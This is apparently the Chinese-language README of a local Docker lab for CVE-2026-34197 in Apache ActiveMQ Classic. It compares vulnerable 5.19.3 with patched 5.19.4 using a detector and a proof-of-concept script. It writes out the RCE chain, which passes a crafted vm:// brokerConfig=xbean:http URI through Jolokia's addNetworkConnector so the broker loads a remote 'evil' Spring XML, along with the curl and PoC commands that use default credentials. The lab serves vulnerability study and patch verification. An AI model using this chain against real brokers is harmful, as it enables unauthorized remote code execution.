| 服务 | 版本 | 用途 | URL |
|---|
vuln | 5.19.3 | 存在漏洞的目标 | http://127.0.0.1:8081 |
patched | 5.19.4 | 已修补的对比目标 | http://127.0.0.1:8082 |
仓库包含两个验证脚本:
| 脚本 | 用途 | 安全模型 |
|---|---|---|
poc/detect.py | 授权检测器 | 仅使用 HTTP;不进行利用 |
poc/poc.py | 仅限本地的 RCE 路径验证 | 固定命令:id; whoami; sleep 5 |
执行证据由操作员使用 strace 等进程观察工具单独验证。
CVE-2026-34197 影响 Apache ActiveMQ Classic 的某些版本,在这些版本中,经过身份验证的用户可以使用 Jolokia API 调用代理管理操作,并通过精心构造的 brokerConfig=xbean:http://... URI 使代理 JVM 加载攻击者控制的 Spring XML。
本实验环境中演示的漏洞利用流程为:
Jolokia /api/jolokia/
-> Broker MBean 操作
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> 远程 Spring XML 获取
-> ProcessBuilder bean 初始化
-> 固定的本地验证命令
已修补的服务会在获取 XML 之前阻止此路径,并返回类似以下错误:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml 运行存在漏洞和已修补的 ActiveMQ 服务。vuln/Dockerfile 构建 Apache ActiveMQ Classic 5.19.3。patched/Dockerfile 构建 Apache ActiveMQ Classic 5.19.4。poc/detect.py 检查 Jolokia 暴露情况、ActiveMQ 版本以及 Broker MBean 可见性。poc/poc.py 使用固定的良性命令触发仅限本地的 RCE 路径。images/strace.png 包含来自存在漏洞服务的本地进程观察证据。.gitignore 排除本地工件、Python 缓存文件、虚拟环境、日志和机密信息。本仓库仅用于本地实验环境和授权的安全验证。
PoC 被刻意限制:
id; whoami; sleep 5。strace。poc.py 允许的本地目标:
127.0.0.1
localhost
::1
请勿将本仓库用于您不拥有或未经明确许可测试的系统。
docker compose down -v
docker compose build
docker compose up -d
检查服务状态:
docker compose ps
预期服务:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
检查存在漏洞的服务:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
检查已修补的服务:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
预期版本:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py 是安全的默认脚本。它不会利用目标。
它检查:
/api/jolokia/version 是否可访问;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
预期结果:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
当满足以下条件时,检测器将目标标记为 LIKELY_VULNERABLE:
Jolokia 可访问
+
ActiveMQ 版本属于受影响范围
本实验环境使用的受影响范围:
5.x < 5.19.4
6.x < 6.2.3
Broker MBean 可见性用作置信度证据,因为利用路径依赖于代理管理操作。
检测器不会声称 CONFIRMED_RCE。
poc/poc.py 在本地 Docker 实验环境中演示 RCE 路径。
它在主机上启动一个临时 HTTP 服务器,并在每次运行的唯一路径上提供 Spring XML 载荷:
/evil-<nonce>.xml
然后通过 Jolokia 调用 ActiveMQ Broker MBean:
addNetworkConnector(java.lang.String)
使用精心构造的发现 URI:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
存在漏洞的代理会获取此 XML。已修补的代理会在获取 XML 之前阻止 vm:// 传输方案。
在存在漏洞的运行之后,创建的 NetworkConnector 可能会重试获取旧的 XML 路径。脚本使用每次运行的 nonce 并跟踪 matches_current_run 以避免误报。
仅当命中匹配以下路径时才计为当前运行:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
预期输出:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
这确认 ActiveMQ 5.19.3 可以通过 Jolokia 管理的代理路径被诱导获取攻击者控制的 Spring XML。
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
预期输出:
VM scheme is not allowed
[-] No XML fetch observed for this run.
如果出现来自较早存在漏洞运行的命中,它们应显示:
"matches_current_run": false
这些不计为已修补服务的成功。
PoC 脚本不收集命令输出。要确认命令执行,请观察存在漏洞容器内的进程创建。
以 root 身份进入存在漏洞的容器:
docker exec -it --user root cve-2026-34197-vuln bash
查找 Java 进程:
pgrep -af java
将 strace 附加到 Java PID:
strace -f -e execve -p <JAVA_PID>
在另一个终端中,对存在漏洞的服务运行 PoC:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
预期的 strace 证据:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
这是代理 JVM 执行了固定验证命令的 OS 级证据。

PoC 在触发之前会尝试移除默认的 NetworkConnector 名称 NC。这使重复的实验运行保持可预测性。
手动清理:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
或重启实验环境:
docker compose restart vuln patched
| 测试 | 存在漏洞的 5.19.3 | 已修补的 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia 访问 | 可通过身份验证访问 | 可通过身份验证访问 |
| Broker MBean | 可见 | 可见 |
poc.py XML 获取 | 是 | 否 |
| 已修补的阻止特征 | 不适用 | VM scheme is not allowed |
| strace 命令证据 | /bin/sh -c 'id; whoami; sleep 5' | 不预期 |